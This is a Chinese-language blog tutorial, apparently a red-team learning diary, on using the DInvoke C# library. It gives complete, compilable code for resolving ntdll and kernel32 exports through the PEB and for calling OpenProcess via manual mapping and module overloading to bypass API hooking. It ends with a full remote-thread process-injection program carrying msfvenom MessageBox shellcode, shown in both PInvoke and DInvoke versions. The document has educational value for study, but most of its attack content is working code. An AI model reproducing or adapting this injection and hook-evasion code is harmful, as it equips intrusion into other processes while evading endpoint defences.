黑客学徒日记-DInvoke (二)

上一篇:黑客学徒日记-DInvoke

我们已经在上一篇中了解了DInvoke和Pinvoke的区别,为什么不使用Pinvoke,而要使用Dinvoke。

本篇讨论Dinvoke在实战中的使用。

编译方式

要使用Dinvoke,必须编译或者下载该项目。

下载链接如下:https://github.com/TheWover/DInvoke/releases/download/v1.0.4/DInvoke.dll

在源码中要这样写,代表着使用Dinvoke using DynamicInvoke = DInvoke.DynamicInvoke;

在编译的时候需要引用DInvoke.dll

以下是使用Pinvoke的典型案例

案例一 解析托管代码导出的API

下面的示例演示如何使用 DInvoke 动态查找和调用 DLL 的导出。

获取 ntdll.dll 的基地址。 它在初始化时被加载到每个 Windows 进程中,因此我们知道它已经被加载。

因此,我们可以安全地搜索 PEB 的已加载模块列表以找到对其的引用。 一旦我们从 PEB 中找到它的基地址,我们就打印该地址。

使用 GetLibraryAddress 在 ntdll.dll 中按名称查找导出。

使用 GetLibraryAddress 按序号在 ntdll.dll 中查找导出。

使用 GetLibraryAddress 通过键控哈希在 ntdll.dll 中查找导出。

给定我们之前找到的 ntdll.dll 的基地址,使用 GetExportAddress 在内存中按名称查找模块内的导出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
///Author: b33f (@FuzzySec, Ruben Boonen)
using System;
using DynamicInvoke = DInvoke.DynamicInvoke;

namespace SpTestcase
{
class Program
{
static void Main(string[] args)
{
// Details
String testDetail = @"
#=================>
# Hello there!
# I find things dynamically; base
# addresses and function pointers.
#=================>
";
Console.WriteLine(testDetail);

// 从PEB表获取ntdll.dll Get NTDLL base from the PEB
Console.WriteLine("[?] Resolve Ntdll base from the PEB..");
IntPtr hNtdll = DynamicInvoke.Generic.GetPebLdrModuleEntry("ntdll.dll");
Console.WriteLine("[>] Ntdll base address : " + string.Format("{0:X}", hNtdll.ToInt64()) + "\n");

// 通过名称搜索函数 Search function by name
Console.WriteLine("[?] Specifying the name of a DLL (\"ntdll.dll\"), resolve a function by walking the export table in-memory..");
Console.WriteLine("[+] Search by name --> NtCommitComplete");
IntPtr pNtCommitComplete = DynamicInvoke.Generic.GetLibraryAddress("ntdll.dll", "NtCommitComplete", true);
Console.WriteLine("[>] pNtCommitComplete : " + string.Format("{0:X}", pNtCommitComplete.ToInt64()) + "\n");

Console.WriteLine("[+] Search by ordinal --> 0x260 (NtSetSystemTime)");
IntPtr pNtSetSystemTime = DynamicInvoke.Generic.GetLibraryAddress("ntdll.dll", 0x260, true);
Console.WriteLine("[>] pNtSetSystemTime : " + string.Format("{0:X}", pNtSetSystemTime.ToInt64()) + "\n");

Console.WriteLine("[+] Search by keyed hash --> 138F2374EC295F225BD918F7D8058316 (RtlAdjustPrivilege)");
Console.WriteLine("[>] Hash : HMACMD5(Key).ComputeHash(FunctionName)");
String fHash = DynamicInvoke.Generic.GetAPIHash("RtlAdjustPrivilege", 0xaabb1122);
IntPtr pRtlAdjustPrivilege = DynamicInvoke.Generic.GetLibraryAddress("ntdll.dll", fHash, 0xaabb1122);
Console.WriteLine("[>] pRtlAdjustPrivilege : " + string.Format("{0:X}", pRtlAdjustPrivilege.ToInt64()) + "\n");

// 通过DLL的基址搜索函数 Search for function from base address of DLL
Console.WriteLine("[?] Specifying the base address of DLL in memory ({0:X}), resolve function by walking its export table...", hNtdll.ToInt64());
Console.WriteLine("[+] Search by name --> NtCommitComplete");
IntPtr pNtCommitComplete2 = DynamicInvoke.Generic.GetExportAddress(hNtdll, "NtCommitComplete");
Console.WriteLine("[>] pNtCommitComplete : " + string.Format("{0:X}", pNtCommitComplete2.ToInt64()) + "\n");

// 暂停执行 暂停执行
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();
}
}
}

编译以上的源码

1
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -lib:C:\Users\Local\Desktop\Tools\evasion\DInvoke -reference:DInvoke.dll test.cs

执行编译后的exe

image-20220606154059680

可以看到,程序运行后,定位到了dll的base address基址

案例二 调用open process, bypass api hooking

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -lib:C:\Users\Local\Desktop\Tools\evasion\DInvoke -reference:DInvoke.dll test2.cs

在下面的示例中,我们首先使用 PInvoke 正常调用 OpenProcess。

然后,我们将使用 DInvoke 以多种方式调用它,以证明每种机制都成功执行了非托管代码并规避了 API hooking。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
///Author: TheWover
using System;
using System.Runtime.InteropServices;

using Data = DInvoke.Data;
using DynamicInvoke = DInvoke.DynamicInvoke;
using ManualMap = DInvoke.ManualMap;

namespace SpTestcase
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(
Data.Win32.Kernel32.ProcessAccessFlags processAccess,
bool bInheritHandle,
uint processId
);

static void Main(string[] args)
{
// 技术详情
String testDetail = @"
#=================>
# Hello there!
# I demonstrate API Hooking bypasses
# by calling OpenProcess via
# PInvoke then DInvoke.
# All handles are requested with
# PROCESS_ALL_ACCESS permissions.
#=================>
";
Console.WriteLine(testDetail);

//获取当前进程PID
uint id = Convert.ToUInt32(System.Diagnostics.Process.GetCurrentProcess().Id);

//Process handle
IntPtr hProc;

// Create the array for the parameters for OpenProcess
object[] paramaters =
{
Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS,
false,
id
};

// 暂停执行
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// 调用OpenProcess using PInvoke
Console.WriteLine("[?] 调用OpenProcess via PInvoke ...");
hProc = OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, false, id);
Console.WriteLine("[>] Process handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// 暂停执行
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// 调用OpenProcess using GetLibraryAddress (underneath the hood)
Console.WriteLine("[?] 调用OpenProcess from the loaded module list using System.Diagnostics.Process.GetCurrentProcess().Modules ...");
hProc = DynamicInvoke.Win32.OpenProcess(Data.Win32.Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS, false, id);
Console.WriteLine("[>] Process handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// 暂停执行
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// Search function by name from module in PEB
Console.WriteLine("[?] Specifying the name of a DLL (\"kernel32.dll\"), search the PEB for the loaded module and resolve a function by walking the export table in-memory...");
Console.WriteLine("[+] Search by name --> OpenProcess");
IntPtr pkernel32 = DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
IntPtr pOpenProcess = DynamicInvoke.Generic.GetExportAddress(pkernel32, "OpenProcess");

//调用OpenProcess
hProc = (IntPtr)DynamicInvoke.Generic.DynamicFunctionInvoke(pOpenProcess, typeof(DynamicInvoke.Win32.Delegates.OpenProcess), ref paramaters);
Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// 暂停执行
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// Manually map kernel32.dll
// Search function by name from module in PEB
Console.WriteLine("[?] Manually map a fresh copy of a DLL (\"kernel32.dll\"), and resolve a function by walking the export table in-memory...");
Console.WriteLine("[+] Search by name --> OpenProcess");
Data.PE.PE_MANUAL_MAP moduleDetails = ManualMap.Map.MapModuleToMemory("C:\\Windows\\System32\\kernel32.dll");
Console.WriteLine("[>] Module Base : " + string.Format("{0:X}", moduleDetails.ModuleBase.ToInt64()) + "\n");

//调用OpenProcess
hProc = (IntPtr)DynamicInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "OpenProcess", typeof(DynamicInvoke.Win32.Delegates.OpenProcess), paramaters);
Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// 暂停执行
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
// Map kernel32.dll using Module Overloading
// Search function by name from module in PEB
Console.WriteLine("[?] Use Module Overloading to map a fresh copy of a DLL (\"kernel32.dll\") into memory backed by another file on disk. Resolve a function by walking the export table in-memory...");
Console.WriteLine("[+] Search by name --> OpenProcess");
moduleDetails = ManualMap.Overload.OverloadModule("C:\\Windows\\System32\\kernel32.dll");
Console.WriteLine("[>] Module Base : " + string.Format("{0:X}", moduleDetails.ModuleBase.ToInt64()) + "\n");

//调用OpenProcess
hProc = (IntPtr)DynamicInvoke.Generic.CallMappedDLLModuleExport(moduleDetails.PEINFO, moduleDetails.ModuleBase, "OpenProcess", typeof(DynamicInvoke.Win32.Delegates.OpenProcess), paramaters);
Console.WriteLine("[>] Process Handle : " + string.Format("{0:X}", hProc.ToInt64()) + "\n");

// 暂停执行
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

//////////////////////////////////////////////////////////////////////////////////////////////////////////
Console.WriteLine("[!] Test complete!");

// 暂停执行
Console.WriteLine("[*] Pausing execution..");
Console.ReadLine();

}
}
}

image-20220606155510619

案例三

https://klezvirus.github.io/RedTeaming/Development/From-PInvoke-To-DInvoke/ (该文的代码有些许错误的地方,在本文中调整过了)

Pinvoke调用的远程线程注入代码

以下代码是使用Pinvoke进行Process Injection的案例。为了学习,我们要将这个代码改写为使用Dinvoke。

代码使用了这些api,OpenProcess \ VirtualAllocEx \ WriteProcessMemory \ CreateRemoteThread

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
using System;
using System.Runtime.InteropServices;

namespace Inject
{
public class Inject
{
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

public static void Main(string[] args)
{
//msfvenom -p windows/x64/messagebox EXITFUNC=thread -f csharp
byte[] shellcode = new byte[323] { 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00};
IntPtr hProcess = OpenProcess(0x1F0FFF, false, int.Parse(args[0]));
IntPtr alloc = VirtualAllocEx(hProcess, IntPtr.Zero, (UInt32)(shellcode.Length), 0x00001000, 0x40);

UIntPtr bytesWritten;
WriteProcessMemory(hProcess, alloc , shellcode, (UInt32)(shellcode.Length), out bytesWritten);

CreateRemoteThread(hProcess, IntPtr.Zero, 0, alloc , IntPtr.Zero, 0,IntPtr.Zero);
}
}
}

编译以上程序

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test6.cs

执行程序。程序从参数中读取pid,然后调用这四个API OpenProcess \ VirtualAllocEx \ WriteProcessMemory \ CreateRemoteThread,将shellcode注入到该进程当中。

image-20220607114336036

P/Invoke 使用“签名”,D/Invoke 使用“ 委托 ”,它允许在类中包装方法。 因此,我们现在可以将任何 API 视为一个类或类型。 为了使用这些类,我们当然需要声明它们。

注意:我已经习惯了,但对我来说这仍然像魔术一样有效。

那么让我们看看上面的例子将如何变化。

来自 P/Invoke 的每个签名在新程序中都会有一个并行委托:

1
2
3
4
5
6
7
8
9
10
11
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

现在,要调用委托,需要三个步骤:

  1. 获取DLL中函数的指针
  2. 将指针编组到代表我们目标 API 的委托中(并转换它)
  3. 实例化委托(调用 API)
1
2
3
var pointer = Generic.GetLibraryAddress("kernel32.dll", "OpenProcess");
var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
var hProcess = openProcess(0x001F0FFF, false, <TARGET-PID>);

Dinvoke调用的远程线程注入代码

最终,我们将拥有完整的程序

编译程序

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -lib:C:\Users\Local\Desktop\Tools\evasion\DInvoke -reference:DInvoke.dll test7.cs

image-20220607124619981

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
using System;
using System.Linq;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using Data = DInvoke.Data;
using DynamicInvoke = DInvoke.DynamicInvoke;
using ManualMap = DInvoke.ManualMap;

namespace Inject
{
public static class Inject
{

public static void Main(string[] args)
{
byte[] shellcode = new byte[323] { 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0x1a,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x2b,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00};

// OpenProcess
var pointer = DynamicInvoke.Generic.GetLibraryAddress("kernel32.dll", "OpenProcess");
var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[0]));

// VirtualAllocEx
pointer = DynamicInvoke.Generic.GetLibraryAddress("kernel32.dll", "VirtualAllocEx");
var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(VirtualAllocEx)) as VirtualAllocEx;
var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (UInt32)shellcode.Length, 0x1000 | 0x2000, 0x40);

// WriteProcessMemory
UInt32 bytesWritten = 0;
pointer = DynamicInvoke.Generic.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(WriteProcessMemory)) as WriteProcessMemory;
var written = writeProcessMemory(hProcess, alloc, shellcode, (UInt32)shellcode.Length, out bytesWritten);

// CreateRemoteThread

pointer = DynamicInvoke.Generic.GetLibraryAddress("kernel32.dll", "CreateRemoteThread");
var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(CreateRemoteThread)) as CreateRemoteThread;
createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
}

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UInt32 lpNumberOfBytesWritten);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}

可见, GetLibraryAddressGetDelegateForFunctionPointer以一种模式重复。 然后我们可以稍微“改进”代码,将两个调用包装在一个新方法中 ChaseFunction. 当所有委托都来自同一个非托管 DLL 时,此技术特别有用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
internal class DLL
{

public string name;

public object ChaseFunction(string fname)
{
var type = (from assembly in AppDomain.CurrentDomain.GetAssemblies()
from t in assembly.GetTypes()
where t.Name == fname
select t).FirstOrDefault();
this.CheckNull(type, fname + " not found");
var p = DynamicInvoke.Generic.GetLibraryAddress(this.name, fname, true);
this.CheckNullPtr(p, fname);
var x = Marshal.GetDelegateForFunctionPointer(p, type);
this.CheckNull(x, "GetDelegateForFunctionPointer");
return x;
}

public DLL(string name)
{
this.name = name;
}

public void CheckNull(object test, string label) {
if (test == null) {
Console.WriteLine("Error: {0} is null", label);
Environment.Exit(1);
}
}
public void CheckNullPtr(IntPtr test, string label) {
if (test == IntPtr.Zero) {
Console.WriteLine("Error: {0} is INtPtr.Zero", label);
Environment.Exit(1);
}
}
}

这样可以让Main中的代码更精炼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
DLL k32 = new DLL("kernel32.dll");

var openProcess = k32.ChaseFunction("OpenProcess") as OpenProcess;
var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[0]));

var virtualAllocEx = k32.ChaseFunction("VirtualAllocEx") as VirtualAllocEx;
var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (UInt32)decoded.Length, 0x3000, 0x40);

UInt32 bytesWritten = 0;
var writeProcessMemory = k32.ChaseFunction("WriteProcessMemory") as WriteProcessMemory;
writeProcessMemory(hProcess, alloc, decoded, (UInt32)decoded.Length, out bytesWritten);

var createRemoteThread = k32.ChaseFunction("CreateRemoteThread") as CreateRemoteThread;
createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);

我发现这个例子比前一个更简洁易读,特别是对于长程序。